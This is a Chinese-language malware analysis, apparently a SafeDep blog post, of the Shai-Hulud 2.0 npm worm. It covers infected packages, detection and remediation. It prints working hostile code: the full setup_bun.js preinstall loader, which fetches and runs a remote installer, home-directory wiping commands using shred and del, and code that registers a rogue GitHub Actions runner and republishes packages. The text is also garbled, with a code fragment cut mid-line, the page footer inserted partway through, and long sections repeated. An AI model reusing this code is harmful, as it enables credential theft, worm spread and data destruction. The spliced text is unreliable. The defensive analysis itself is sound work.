概要
Shai-Hulud 威胁行为者发动了一场复杂的 npm 供应链攻击,被称为 SHA1-Hulud: The Second Coming,感染了包括 zapier-sdk、@asyncapi、posthog-node 和 @postman/postman-mcp-cli 在内的流行软件包。该恶意软件通过 preinstall 脚本部署自复制代码,窃取云凭证(AWS、GCP、Azure),并利用 GitHub Actions 运行器。本文提供了全面的技术分析,包括检测方法、妥协指标(IOC)以及修复指导。
受感染的软件包:
| 软件包名称 | 受影响版本 |
|---|---|
| @zapier/zapier-sdk | 0.15.5、0.15.6、0.15.7 |
| @asyncapi/specs | 6.8.2、6.9.1 |
| @quick-start-soft/quick-markdown-print | 1.4.2511142126 |
| @quick-start-soft/quick-markdown | 1.4.2511142126 |
| @quick-start-soft/quick-remove-image-background | 1.4.2511142126 |
| @quick-start-soft/quick-git-clean-markdown | 1.4.2511142126 |
| @quick-start-soft/quick-document-translator | 1.4.2511142126 |
| @quick-start-soft/quick-markdown-image | 1.4.2511142126 |
| @quick-start-soft/quick-task-refine | 1.4.2511142126 |
| @asyncapi/modelina | 5.10.2、5.10.3 |
| posthog-react-native | 4.12.5、4.11.1 |
| posthog-node | 5.13.3、4.18.1 |
| @postman/secret-scanner-wasm | 2.1.2、2.1.3 |
| @postman/csv-parse | 4.0.3、4.0.4、4.0.5 |
| @postman/node-keytar | 7.9.1、7.9.2、7.9.4、7.9.5 |
| @postman/tunnel-agent | 0.6.5、0.6.6 |
| @postman/wdio-allure-reporter | 0.0.7、0.0.8 |
| @postman/postman-mcp-cli | 1.0.3、1.0.4 |
| @postman/mcp-ui-client | 5.5.1、5.5.2 |
| @postman/wdio-junit-reporter | 0.0.4、0.0.5 |
| @postman/pm-bin-macos-arm64 | 1.24.4、1.24.5 |
| @postman/pm-bin-linux-x64 | 1.24.4、1.24.5 |
| @postman/aether-icons | 2.23.3、2.23.4 |
注意: 这是受感染软件包的初步列表。有关所有已发现受感染软件包的最新信息,请参阅 Google Sheets 上的实时列表。
与先前攻击的关联
该有效载荷与之前的 Shai-Hulud npm 供应链攻击存在显著的代码相似性。此次迭代的关键演进是使用 bun 运行时而非 node 来执行有效载荷,这可能会规避基于 Node.js 的安全工具。
攻击向量概述
支持的平台: 对混淆有效载荷的分析确认了跨平台支持:
- Linux (x64)
- macOS(Intel 和 ARM64)
- Windows
npm 恶意软件技术分析
以下是对受感染版本 zapier-sdk 软件包的技术分析,以识别有效载荷。我们假设所有受本次事件影响的软件包都使用类似的有效载荷,仅有微小变化和错误修复。
我们首先对 zapier-sdk 软件包的 0.15.4 和 0.15.5 版本进行差异比较,以识别在 0.15.5(这是一个已知恶意软件包)中引入的恶意更改。
diff -Naur zapier/0.15.4/package/package.json zapier/0.15.5/package/package.json--- zapier/0.15.4/package/package.json 1985-10-26 13:45:00
+++ zapier/0.15.5/package/package.json 2025-11-24 11:20:51
@@ -1,6 +1,6 @@
{
"name": "@zapier/zapier-sdk",
- "version": "0.15.4",
+ "version": "0.15.5",
"description": "Complete Zapier SDK - combines all Zapier SDK packages",
"main": "dist/index.cjs",
"module": "dist/index.mjs",
@@ -59,6 +59,7 @@
"rebuild": "pnpm clean && pnpm build",
"dev": "tsc --watch",
"typecheck": "tsc --project tsconfig.build.json --noEmit",
- "test": "vitest"
+ "test": "vitest",
+ "preinstall": "node setup_bun.js"
}
}理解 npm Preinstall Hook 利用
差异分析揭示了一个执行 setup_bun.js 的恶意 preinstall 脚本,它利用了 npm preinstall 生命周期钩子。该脚本协调攻击:
执行流程:
- 检查系统 PATH 中是否存在
bun运行时 - 如果不存在,则下载并安装
bun - 使用
bun运行时执行bun_environment.js
关键洞察: 实际恶意有效载荷位于 bun_environment.js 中,需要 bun 运行时才能执行,这使得传统 Node.js 安全扫描器更难检测到它。
恶意软件有效载荷分析:bun_environment.js
文件特征:
- 大小:9.7MB 混淆 JavaScript
- SHA256:
62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0
该有效载荷经过高度混淆。我们的分析涉及代码美化以提高可读性,尽管代码仍然处于混淆状态。鉴于时间限制和事件的高影响,我们优先识别有效载荷行为和影响,而非反混淆。
安全说明: 所有命令执行、分析和代码美化均在隔离的沙箱环境中进行,以防止恶意代码执行。
docker run -it --rm -v $(pwd):/app node:lts bash
cd /app
npm install -g js-beautify
js-beautify bun_environment.js > bun_environment_beautified.jsmore bun_environment_beautified.jsvar a0_0x58e7a2 = a0_0x5155;
(function(_0x488e1f, _0x239640) {
var _0x1c90e8 = a0_0x5155,
_0x2d2cb3 = _0x488e1f();
while (! ![]) {
try {
var _0x156b43 = parseInt(_0x1c90e8(0x52cd)) / 0x1 * (-parseInt(_0x1c90e8(0x2dae)) / 0x2) + parseInt(_0x1c90e8(0x49ef)) / 0x3 * (parseInt(_0x1c90e8(0x373)) / 0x
1) + parseInt(_0x1c90e8(0x2c8a)) / 0x5 * (-parseInt(_0x1c90e8(0x3b09)) / 0x6) + parseInt(_0x1c90e8(0x2336)) / 0x7 * (-parseInt(_0x1c90e8(0x34cf)) / 0x8) + parseInt(_0x1c90
e8(0x18ad)) / 0x9 * (parseInt(_0x1c90e8(0x13ba)) / 0xa) + parseInt(_0x1c90e8(0xeef)) / 0xb + parseInt(_0x1c90e8(0x17a8)) / 0xc;
if (_0x156b43 === _0x239640) break;
else _0x2d2cb3['push'](_0x2d2cb3['shift']());
} catch (_0x1d8237) {
_0x2d2cb3['push'](_0x2d2cb3['shift']());
}
}
}(a0_0x29d6, 0xc51e0));识别的代码混淆技术
手动分析揭示该有效载荷使用 obfuscator.io 风格混淆,并包含多层反分析机制:
| 技术 | 描述 |
|---|---|
| 字符串数组 | 20,000+ 字符串存储在 a0_0x29d6() 函数中 |
| 字符串解码器 | a0_0x5155(index) 从索引中减去 0x1bb(443) |
| 数组洗牌 | IIFE 轮换数组直到校验和 = 0xc51e0(807392) |
| 布尔混淆 | ! ![] → true,![] → false,!0x0 → true,!0x1 → false |
| 十六进制数字 | 所有数字采用十六进制格式(0x52cd) |
| 变量名混淆 | 类似 _0x488e1f、_0x1c90e8 的名称 |
| 控制流 | 通过字符串比较的死代码('ABC' !== 'XYZ') |
该有效载荷与所有依赖项捆绑在一起,类似于之前的 Shai-Hulud 攻击,大大增加了逆向工程的难度。然而,捆绑 bun_environment.js 文件中代码的局部性有助于识别有效载荷。这意味着,攻击者开发的大部分代码位于捆绑依赖项之外的同一区域。
恶意软件功能和攻击行为
该恶意软件展示了具有以下功能的先进持续性威胁(APT)特征:
凭证窃取:
- 云凭证: 通过 TruffleHog 提取 AWS、GCP 和 Azure 凭证
- AWS Secrets Manager: 使用本地缓存凭证直接进行 API 查询
- Google Cloud Secrets: 使用本地缓存凭证直接进行 API 查询
传播机制:
- 蠕虫行为: 通过可访问被入侵账户的 npm 软件包进行自我复制
- 供应链投毒: 自动感染可被入侵账户写入的 npm 软件包,发布新版本
数据泄露:
- GitHub 仓库滥用: 创建公开仓库以暴露窃取的凭证
- 隐身: 在
cloud.json、contents.json、environment.json和truffleSecrets.json文件中使用双 base64 编码数据
持久性:
- GitHub Actions 运行器: 在受害者的基础设施上部署恶意自托管运行器
文件销毁:
- 粉碎: 粉碎被入侵机器上的文件
文件销毁机制
该恶意软件具有粉碎被入侵机器上文件的代码。
if (_0x3ca7e1.permissions && _0x3ca7e1.permissions.length) {
if ("HQWgp" === "HQWgp") {
_0x123399.permissions = [];
for (var _0x3112ee = 0; _0x3112ee < _0x3ca7e1.permissions.length; ++_0x3112ee) _0x123399.permissions[_0x3112ee] = _0x3ca7e1.permissions[_0x3112ee]
} else {
if (_0x29175f.log('Error\x2012'), _0x43d68e.platform === "windows") _0x43f28f.spawnSync(["cmd.exe", '/c', 'del\x20/F\x20/Q\x20/S\x20\x22%USERPROFI
else _0x3fe5f5.spawnSync(["bash", '-c', "find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | xargs -0 -r shred -uvz -n 1 && find \"$HOM
_0x1bf37d.exit(0);
}
}- 在 Windows 上,它执行
cmd.exe /c del /f /q /s "%USERPROFILE%"删除文件。 - 在 Linux 和 macOS 上,它执行
find "$HOME" -type f -writable -user "$(id -un)" -print0 | xargs -0 -r shred -uvz -n 1 && find "$HOME" -type d -writable -user "$(id -un)" -print0 | xargs -0 -r shred -uvz -n 1删除文件。
CI/CD 环境检测和定位
该恶意软件包含 CI/CD 环境检测,以适应其行为并最大化对自动化构建管道的影响。它通过检查以下环境变量来识别 CI/CD 上下文:
BUILDKITEPROJECT_IDGITHUB_ACTIONSCODEBUILD_BUILD_NUMBERCIRCLE_SHA1GITLAB_CIJENKINS_HOME
if ('CI' in _0x26282e) {
if (
[_0x17a1ce(0x5955), _0x17a1ce(0x3eda), _0x17a1ce(0x54b5), 'GITLAB_CI', 'GITHUB_ACTIONS', _0x17a1ce(0x4bd6)]['some'](
(_0x1fc8b3) => _0x1fc8b3 in _0x26282e
) ||
_0x26282e[_0x17a1ce(0x5dde)] === 'codeship'
)
return 0x1;
return _0x3a4b4b;
}
if ('TEAMCITY_VERSION' in _0x26282e)
return /^(9\.(0*[1-9]\d*)\.|\d{2,}\.)/[_0x17a1ce(0x57e)](_0x26282e[_0x17a1ce(0x5537)]) ? 0x1 : 0x0;该恶意软件根据检测到的 CI/CD 环境执行不同的有效载荷。例如,在 GitHub Actions 运行器上,它尝试使用 sudo 或通过运行 docker run --rm --privileged -v /:/host ... 来挂载主机文件系统以获取 root 权限。
GitHub Actions 运行器部署
攻击机制: 该恶意软件尝试通过在被入侵的基础设施上部署恶意自托管 GitHub Actions 运行器来建立持久性。
部署流程:
- 下载官方 GitHub Actions 运行器(v2.330.0)
- 使用窃取的凭证在 GitHub 上注册运行器
- 将运行器命名为
SHA1HULUD以便识别 - 在受害者机器上执行以运行攻击者控制的工作流
部署支持跨平台安装(Linux、macOS、Windows)。
if (a0_0x5a88b3.platform() === 'linux')
(await Bun.$\`mkdir -p $HOME/.dev-env/\`,
await Bun.$\`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz\`
.cwd(a0_0x5a88b3.homedir + '/.dev-env')
.quiet(),
await Bun.$\`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz\`.cwd(a0_0x5a88b3.homedir + '/.dev-env'),
await Bun.$\`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${_0x349291}/${_0x2b1a39} --unattended --token ${_0x1489ec} --name "SHA1HULUD"\`
.cwd(a0_0x5a88b3.homedir + '/.dev-env')
.quiet(),
await Bun.$\`rm actions-runner-linux-x64-2.330.0.tar.gz\`.cwd(a0_0x5a88b3.homedir + '/.dev-env'),
Bun.spawn(['bash', '-c', 'cd $HOME/.dev-env && nohup ./run.sh &']).unref());然后它使用以下代码片段在新创建的 GitHub 仓库中创建恶意工作流:
await this.octokit.request('PUT /repos/{owner}/{repo}/contents/{path}', {
owner: _0x349291,
repo: _0x2b1a39,
path: '.github/workflows/discussion.yaml',
message: 'Add Discusion',
content: Buffer.from(rZ1).toString('base64'),
branch: 'main',
});恶意工作流是一个 discussion.yaml 文件,包含以下代码片段:
name: Discussion Create
on:
discussion:
jobs:
process:
env:
RUNNER_TRACKING_ID: 0
runs-on: self-hosted
steps:
- uses: actions/checkout@v5
- name: Handle Discussion
run: echo ${{ github.event.discussion.body }}echo 命令将讨论内容打印到控制台。这似乎是一个不完整的远程代码执行(RCE)原语,可能允许攻击者通过 GitHub 讨论评论在受害者基础设施上执行任意命令。
蠕虫式自我复制机制
概述: 该恶意软件展示了复杂的蠕虫传播行为,通过被入侵维护者账户自动在 npm 生态系统中传播。
感染策略:
- 令牌提取: 从
.npmrc配置文件中定位 npm 认证令牌 - 账户验证: 通过
https://registry.npmjs.org/-/whoamiAPI 验证令牌有效性 - 目标发现: 使用
/-/v1/search?text=maintainer:<username>枚举维护者控制的软件包 - 自动化感染: 下载并使用恶意有效载荷感染每个可发现的软件包
软件包感染流程
1. 下载目标软件包
- 使用经过身份验证的用户 npm 令牌从注册表获取软件包 tarball
- 使用
Bun.write()将 tarball 下载到临时目录
2. 提取并修改软件包
- 使用
gzip解压缩提取 tarball - 读取目标软件包的
package.json - 注入恶意
preinstall脚本:node setup_bun.js - 自动递增补丁版本(例如从
1.0.0到1.0.1)以创建新版本
3. 捆绑恶意资源
- 调用
bundleAssets()注入完整的恶意有效载荷(setup_bun.js和bun_environment.js) - 将所有内容重新打包为新的 tarball(
updated.tgz)
4. 发布受感染软件包
- 使用被入侵用户的
NPM_CONFIG_TOKEN通过npm publish命令 - 将受感染软件包作为新版本发布到 npm 注册表
- 成功发布后清理临时文件
(await Bun['
**影响分析:** 这种自动化感染流程使 npm 生态系统中的指数级传播成为可能。每个被入侵的软件包都成为新的感染向量,创建级联供应链攻击。
## 通过 TruffleHog 集成进行凭证窃取
**工具武器化:** 该恶意软件利用 TruffleHog(一个合法的开源秘密扫描工具)自动从被入侵机器的文件系统中收集凭证。
**部署流程:**
从 GitHub releases 使用 URL `https://api.github.com/repos/trufflesecurity/trufflehog/releases/latest` 检测或下载 TruffleHog 二进制文件。
```javascript
let _0x8d5d38 = await this.fetchLatestRelease(),
_0xadd65e = this.pickAsset(_0x8d5d38.assets);
if (!_0xadd65e) throw Error('No suitable trufflehog binary found for this platform');
let _0x23fc54 = a0_0x2cdffb(this.config.cacheDir, _0xadd65e.name);
(await this.downloadFile(_0xadd65e.browser_download_url, _0x23fc54),
(this.binaryPath = await this.extractAndInstall(_0x23fc54)));扫描文件系统:
async .scanFilesystem(_0x318465, _0x2ad348 = []) {
await this.initialize();
let _0x423574 = ["filesystem", _0x318465, "--json", ..._0x2ad348];
return this.executeWithTimeout(_0x423574);
}扫描能力
该恶意软件采用 TruffleHog 扫描策略以最大化凭证收集:
扫描技术:
- Git 仓库分析: 深度扫描 git 历史记录中已提交的机密信息
- 已验证结果过滤: 使用 TruffleHog 的验证功能确认凭证有效性
- 基于检测器的过滤: 针对特定凭证类型(AWS、GCP、Azure、GitHub 令牌)
- 基于路径的过滤: 聚焦于高价值配置文件和目录
这些精确过滤使恶意软件能够提取经过验证的高价值凭证,同时最大限度地减少噪音和检测风险。
通过 GitHub 仓库滥用进行数据泄露
泄露方法: 该恶意软件使用窃取的凭证创建公开 GitHub 仓库以暴露收集的数据。
仓库特征:
- 命名模式: 18 个字符的随机仓库名称
- 签名: 描述设置为
Sha1-Hulud: The Second Coming. - 规模: 分析时已创建超过 25,000 个仓库
- 发现: 使用 GitHub 仓库搜索查找暴露的仓库
注意: GitHub 的安全团队积极删除被入侵的仓库,但随着恶意软件的传播,新的仓库不断出现。
泄露数据结构
该恶意软件将四类被盗数据上传到每个仓库:
| 文件名 | 内容描述 |
|---|---|
cloud.json | AWS、GCP 和 Azure 云服务提供商凭证 |
contents.json | 主机系统详情、GitHub 令牌、npm 认证令牌 |
environment.json | 被入侵进程的完整环境变量 |
truffleSecrets.json | TruffleHog 秘密扫描的完整 JSON 输出 |
编码策略: 所有文件使用双 base64 编码以规避自动化秘密扫描工具和内容过滤器。
解码示例:
cat cloud.json| base64 -d | base64 -d凭证已编辑的示例输出:
{ "aws": { "secrets": [] }, "gcp": { "secrets": [] }, "azure": { "secrets": [] } }cat contents.json| base64 -d | base64 -d{
"system": {
"platform": "linux",
"architecture": "x64",
"platformDetailed": "linux",
"architectureDetailed": "x64",
"hostname": "<REDACTED>",
"os_user": {
"homedir": "/home/runner",
"username": "runner",
"shell": "/bin/bash",
"uid": 1001,
"gid": 1001
}
},
"modules": {
"github": {
"authenticated": true,
"token": "<REDACTED>",
"username": {
"login": "<REDACTED>",
"name": "<REDACTED>",
"email": null,
"publicRepos": <REDACTED>,
"followers": <REDACTED>,
"following": <REDACTED>,
"createdAt": "<REDACTED>"
}
}
}
}CI/CD 入侵证据: homedir: /home/runner 和 username: runner 值确认该恶意软件成功在 GitHub Actions 运行器环境中执行,表明被感染的软件包已渗透到自动化 CI/CD 管道中。
检测和修复
如何检测被入侵的系统
检查指标:
- 搜索描述为
Sha1-Hulud: The Second Coming的 GitHub 仓库 - 查找名为
SHA1HULUD的自托管 GitHub Actions 运行器 - 审查 npm
package.json文件中是否有意外的preinstall脚本 - 检查
node_modules中是否存在setup_bun.js或bun_environment.js文件 - 监控意外的 bun 运行时安装
如果被入侵的立即行动:
- 轮换所有凭证: AWS、GCP、Azure、GitHub 令牌、npm 令牌
- 撤销 GitHub 令牌: 使所有个人访问令牌和 OAuth 应用失效
- 删除恶意运行器: 删除名为"SHA1HULUD"的任何自托管运行器
- 审查软件包版本: 根据被感染软件包列表检查所有依赖项
- 审计 Git 历史: 搜索 npm 软件包中的可疑提交
- 启用 2FA: 在 npm 和 GitHub 账户上激活双因素身份验证
保护您的供应链
预防策略:
- 使用 SafeDep GitHub App 扫描每个拉取请求中的恶意软件包,使用 pmg 防范通过 npm、yarn、pip 等软件包管理器安装恶意软件包。
- 优先使用
pnpm而非npm进行软件包管理,后者默认禁用 npm 生命周期脚本。 - 实施严格的 CI/CD 安全控制和秘密管理
- 监控依赖项中的 preinstall/postinstall 脚本
- 使用软件物料清单(SBOM)进行依赖项跟踪
- 将 npm 令牌权限限制为所需的最低范围
结论
Shai-Hulud 2.0 供应链攻击代表了 npm 生态系统威胁的复杂演进。通过利用 bun 运行时、武器化 TruffleHog 等合法安全工具,并实施自复制蠕虫行为,攻击者创建了一个高效的凭证收集和持久性机制。
关键要点:
- 直接影响: 25,000+ 仓库被入侵,凭证暴露
- 供应链风险: 受影响流行软件包下载量达数百万
- 高级技术: 利用 GitHub Actions 运行器实现持久性
- 持续威胁: 蠕虫式传播继续扩大感染范围
组织必须优先考虑供应链安全,实施全面的依赖扫描、凭证轮换策略和 CI/CD 管道加固。SafeDep 等工具提供了对这些新兴威胁的关键可见性。
附录
妥协指标(IOC)
文件哈希:
- SHA256 (setup_bun.js) =
a3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a - SHA256 (bun_environment.js) =
62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0
网络指标:
- GitHub 运行器下载:
https://github.com/actions/runner/releases/download/v2.330.0/ - TruffleHog 下载:
https://api.github.com/repos/trufflesecurity/trufflehog/releases/latest - Bun 安装:
https://bun.sh/install
行为指标:
- 描述为
Sha1-Hulud: The Second Coming.的 GitHub 仓库 - 名为
SHA1HULUD的自托管 GitHub Actions 运行器 - 执行
setup_bun.js的 npm preinstall 脚本 - 文件:软件包根目录中的
setup_bun.js、bun_environment.js
恶意代码示例:setup_bun.js
#!/usr/bin/env node
const { spawn, execSync } = require('child_process');
const path = require('path');
const fs = require('fs');
const os = require('os');
function isBunOnPath() {
try {
const command = process.platform === 'win32' ? 'where bun' : 'which bun';
execSync(command, { stdio: 'ignore' });
return true;
} catch {
return false;
}
}
function reloadPath() {
// Reload PATH environment variable
if (process.platform === 'win32') {
try {
// On Windows, get updated PATH from registry
const result = execSync(
"powershell -c \"[Environment]::GetEnvironmentVariable('PATH', 'User') + ';' + [Environment]::GetEnvironmentVariable('PATH', 'Machine')\"",
{
encoding: 'utf8',
}
);
process.env.PATH = result.trim();
} catch {}
} else {
try {
// On Unix systems, source common shell profile files
const homeDir = os.homedir();
const profileFiles = [
path.join(homeDir, '.bashrc'),
path.join(homeDir, '.bash_profile'),
path.join(homeDir, '.profile'),
path.join(homeDir, '.zshrc'),
];
// Try to source profile files to get updated PATH
for (const profileFile of profileFiles) {
if (fs.existsSync(profileFile)) {
try {
const result = execSync(\`bash -c "source ${profileFile} && echo $PATH"\`, {
encoding: 'utf8',
stdio: ['pipe', 'pipe', 'ignore'],
});
if (result && result.trim()) {
process.env.PATH = result.trim();
break;
}
} catch {
// Continue to next profile file
}
}
}
// Also check if ~/.bun/bin exists and add it to PATH if not already there
const bunBinDir = path.join(homeDir, '.bun', 'bin');
if (fs.existsSync(bunBinDir) && !process.env.PATH.includes(bunBinDir)) {
process.env.PATH = \`${bunBinDir}:${process.env.PATH}\`;
}
} catch {}
}
}
async function downloadAndSetupBun() {
try {
let command;
if (process.platform === 'win32') {
// Windows: Use PowerShell script
command = 'powershell -c "irm bun.sh/install.ps1|iex"';
} else {
// Linux/macOS: Use curl + bash script
command = 'curl -fsSL https://bun.sh/install | bash';
}
execSync(command, {
stdio: 'ignore',
env: { ...process.env },
});
// Reload PATH to pick up newly installed bun
reloadPath();
// Find bun executable after installation
const bunPath = findBunExecutable();
if (!bunPath) {
throw new Error('Bun installation completed but executable not found');
}
return bunPath;
} catch {
process.exit(0);
}
}
function findBunExecutable() {
// Common locations where bun might be installed
const possiblePaths = [];
if (process.platform === 'win32') {
// Windows locations
const userProfile = process.env.USERPROFILE || '';
possiblePaths.push(
path.join(userProfile, '.bun', 'bin', 'bun.exe'),
path.join(userProfile, 'AppData', 'Local', 'bun', 'bun.exe')
);
} else {
// Unix locations
const homeDir = os.homedir();
possiblePaths.push(path.join(homeDir, '.bun', 'bin', 'bun'), '/usr/local/bin/bun', '/opt/bun/bin/bun');
}
// Check if bun is now available on PATH
if (isBunOnPath()) {
return 'bun';
}
// Check common installation paths
for (const bunPath of possiblePaths) {
if (fs.existsSync(bunPath)) {
return bunPath;
}
}
return null;
}
function runExecutable(execPath, args = [], opts = {}) {
const child = spawn(execPath, args, {
stdio: 'ignore',
cwd: opts.cwd || process.cwd(),
env: Object.assign({}, process.env, opts.env || {}),
});
child.on('error', (err) => {
process.exit(0);
});
child.on('exit', (code, signal) => {
if (signal) {
process.exit(0);
} else {
process.exit(code === null ? 1 : code);
}
});
}
// Main execution
async function main() {
let bunExecutable;
if (isBunOnPath()) {
// Use bun from PATH
bunExecutable = 'bun';
} else {
// Check if we have a locally downloaded bun
const localBunDir = path.join(__dirname, 'bun-dist');
const possiblePaths = [
path.join(localBunDir, 'bun', 'bun'),
path.join(localBunDir, 'bun', 'bun.exe'),
path.join(localBunDir, 'bun.exe'),
path.join(localBunDir, 'bun'),
];
const existingBun = possiblePaths.find((p) => fs.existsSync(p));
if (existingBun) {
bunExecutable = existingBun;
} else {
// Download and setup bun
bunExecutable = await downloadAndSetupBun();
}
}
const environmentScript = path.join(__dirname, 'bun_environment.js');
if (fs.existsSync(environmentScript)) {
runExecutable(bunExecutable, [environmentScript]);
} else {
process.exit(0);
}
}
main().catch((error) => {
process.exit(0);
});- npm
- oss
- malware
- supply-chain
- security
- incident-response
SafeDep 博客最新更新
关注以获取开源安全与工程的最新更新和洞察]`npm publish ${_0x4fc35c}`[_0x545fd9(0x3f2d)]({ ...process[_0x545fd9(0x3f2d)], NPM_CONFIG_TOKEN: this[_0x545fd9(0x194f)], }), await Uy1(_0x14f0bf));
**影响分析:** 这种自动化感染流程使 npm 生态系统中的指数级传播成为可能。每个被入侵的软件包都成为新的感染向量,创建级联供应链攻击。
## 通过 TruffleHog 集成进行凭证窃取
**工具武器化:** 该恶意软件利用 TruffleHog(一个合法的开源秘密扫描工具)自动从被入侵机器的文件系统中收集凭证。
**部署流程:**
从 GitHub releases 使用 URL `https://api.github.com/repos/trufflesecurity/trufflehog/releases/latest` 检测或下载 TruffleHog 二进制文件。
```javascript
let _0x8d5d38 = await this.fetchLatestRelease(),
_0xadd65e = this.pickAsset(_0x8d5d38.assets);
if (!_0xadd65e) throw Error('No suitable trufflehog binary found for this platform');
let _0x23fc54 = a0_0x2cdffb(this.config.cacheDir, _0xadd65e.name);
(await this.downloadFile(_0xadd65e.browser_download_url, _0x23fc54),
(this.binaryPath = await this.extractAndInstall(_0x23fc54)));扫描文件系统:
async .scanFilesystem(_0x318465, _0x2ad348 = []) {
await this.initialize();
let _0x423574 = ["filesystem", _0x318465, "--json", ..._0x2ad348];
return this.executeWithTimeout(_0x423574);
}扫描能力
该恶意软件采用 TruffleHog 扫描策略以最大化凭证收集:
扫描技术:
- Git 仓库分析: 深度扫描 git 历史记录中已提交的机密信息
- 已验证结果过滤: 使用 TruffleHog 的验证功能确认凭证有效性
- 基于检测器的过滤: 针对特定凭证类型(AWS、GCP、Azure、GitHub 令牌)
- 基于路径的过滤: 聚焦于高价值配置文件和目录
这些精确过滤使恶意软件能够提取经过验证的高价值凭证,同时最大限度地减少噪音和检测风险。
通过 GitHub 仓库滥用进行数据泄露
泄露方法: 该恶意软件使用窃取的凭证创建公开 GitHub 仓库以暴露收集的数据。
仓库特征:
- 命名模式: 18 个字符的随机仓库名称
- 签名: 描述设置为
Sha1-Hulud: The Second Coming. - 规模: 分析时已创建超过 25,000 个仓库
- 发现: 使用 GitHub 仓库搜索查找暴露的仓库
注意: GitHub 的安全团队积极删除被入侵的仓库,但随着恶意软件的传播,新的仓库不断出现。
泄露数据结构
该恶意软件将四类被盗数据上传到每个仓库:
| 文件名 | 内容描述 |
|---|---|
cloud.json | AWS、GCP 和 Azure 云服务提供商凭证 |
contents.json | 主机系统详情、GitHub 令牌、npm 认证令牌 |
environment.json | 被入侵进程的完整环境变量 |
truffleSecrets.json | TruffleHog 秘密扫描的完整 JSON 输出 |
编码策略: 所有文件使用双 base64 编码以规避自动化秘密扫描工具和内容过滤器。
解码示例:
cat cloud.json| base64 -d | base64 -d凭证已编辑的示例输出:
{ "aws": { "secrets": [] }, "gcp": { "secrets": [] }, "azure": { "secrets": [] } }cat contents.json| base64 -d | base64 -d{
"system": {
"platform": "linux",
"architecture": "x64",
"platformDetailed": "linux",
"architectureDetailed": "x64",
"hostname": "<REDACTED>",
"os_user": {
"homedir": "/home/runner",
"username": "runner",
"shell": "/bin/bash",
"uid": 1001,
"gid": 1001
}
},
"modules": {
"github": {
"authenticated": true,
"token": "<REDACTED>",
"username": {
"login": "<REDACTED>",
"name": "<REDACTED>",
"email": null,
"publicRepos": <REDACTED>,
"followers": <REDACTED>,
"following": <REDACTED>,
"createdAt": "<REDACTED>"
}
}
}
}CI/CD 入侵证据: homedir: /home/runner 和 username: runner 值确认该恶意软件成功在 GitHub Actions 运行器环境中执行,表明被感染的软件包已渗透到自动化 CI/CD 管道中。
检测和修复
如何检测被入侵的系统
检查指标:
- 搜索描述为
Sha1-Hulud: The Second Coming的 GitHub 仓库 - 查找名为
SHA1HULUD的自托管 GitHub Actions 运行器 - 审查 npm
package.json文件中是否有意外的preinstall脚本 - 检查
node_modules中是否存在setup_bun.js或bun_environment.js文件 - 监控意外的 bun 运行时安装
如果被入侵的立即行动:
- 轮换所有凭证: AWS、GCP、Azure、GitHub 令牌、npm 令牌
- 撤销 GitHub 令牌: 使所有个人访问令牌和 OAuth 应用失效
- 删除恶意运行器: 删除名为"SHA1HULUD"的任何自托管运行器
- 审查软件包版本: 根据被感染软件包列表检查所有依赖项
- 审计 Git 历史: 搜索 npm 软件包中的可疑提交
- 启用 2FA: 在 npm 和 GitHub 账户上激活双因素身份验证
保护您的供应链
预防策略:
- 使用 SafeDep GitHub App 扫描每个拉取请求中的恶意软件包,使用 pmg 防范通过 npm、yarn、pip 等软件包管理器安装恶意软件包。
- 优先使用
pnpm而非npm进行软件包管理,后者默认禁用 npm 生命周期脚本。 - 实施严格的 CI/CD 安全控制和秘密管理
- 监控依赖项中的 preinstall/postinstall 脚本
- 使用软件物料清单(SBOM)进行依赖项跟踪
- 将 npm 令牌权限限制为所需的最低范围
结论
Shai-Hulud 2.0 供应链攻击代表了 npm 生态系统威胁的复杂演进。通过利用 bun 运行时、武器化 TruffleHog 等合法安全工具,并实施自复制蠕虫行为,攻击者创建了一个高效的凭证收集和持久性机制。
关键要点:
- 直接影响: 25,000+ 仓库被入侵,凭证暴露
- 供应链风险: 受影响流行软件包下载量达数百万
- 高级技术: 利用 GitHub Actions 运行器实现持久性
- 持续威胁: 蠕虫式传播继续扩大感染范围
组织必须优先考虑供应链安全,实施全面的依赖扫描、凭证轮换策略和 CI/CD 管道加固。SafeDep 等工具提供了对这些新兴威胁的关键可见性。
附录
妥协指标(IOC)
文件哈希:
- SHA256 (setup_bun.js) =
a3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a - SHA256 (bun_environment.js) =
62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0
网络指标:
- GitHub 运行器下载:
https://github.com/actions/runner/releases/download/v2.330.0/ - TruffleHog 下载:
https://api.github.com/repos/trufflesecurity/trufflehog/releases/latest - Bun 安装:
https://bun.sh/install
行为指标:
- 描述为
Sha1-Hulud: The Second Coming.的 GitHub 仓库 - 名为
SHA1HULUD的自托管 GitHub Actions 运行器 - 执行
setup_bun.js的 npm preinstall 脚本 - 文件:软件包根目录中的
setup_bun.js、bun_environment.js
恶意代码示例:setup_bun.js
#!/usr/bin/env node
const { spawn, execSync } = require('child_process');
const path = require('path');
const fs = require('fs');
const os = require('os');
function isBunOnPath() {
try {
const command = process.platform === 'win32' ? 'where bun' : 'which bun';
execSync(command, { stdio: 'ignore' });
return true;
} catch {
return false;
}
}
function reloadPath() {
// Reload PATH environment variable
if (process.platform === 'win32') {
try {
// On Windows, get updated PATH from registry
const result = execSync(
"powershell -c \"[Environment]::GetEnvironmentVariable('PATH', 'User') + ';' + [Environment]::GetEnvironmentVariable('PATH', 'Machine')\"",
{
encoding: 'utf8',
}
);
process.env.PATH = result.trim();
} catch {}
} else {
try {
// On Unix systems, source common shell profile files
const homeDir = os.homedir();
const profileFiles = [
path.join(homeDir, '.bashrc'),
path.join(homeDir, '.bash_profile'),
path.join(homeDir, '.profile'),
path.join(homeDir, '.zshrc'),
];
// Try to source profile files to get updated PATH
for (const profileFile of profileFiles) {
if (fs.existsSync(profileFile)) {
try {
const result = execSync(\`bash -c "source ${profileFile} && echo $PATH"\`, {
encoding: 'utf8',
stdio: ['pipe', 'pipe', 'ignore'],
});
if (result && result.trim()) {
process.env.PATH = result.trim();
break;
}
} catch {
// Continue to next profile file
}
}
}
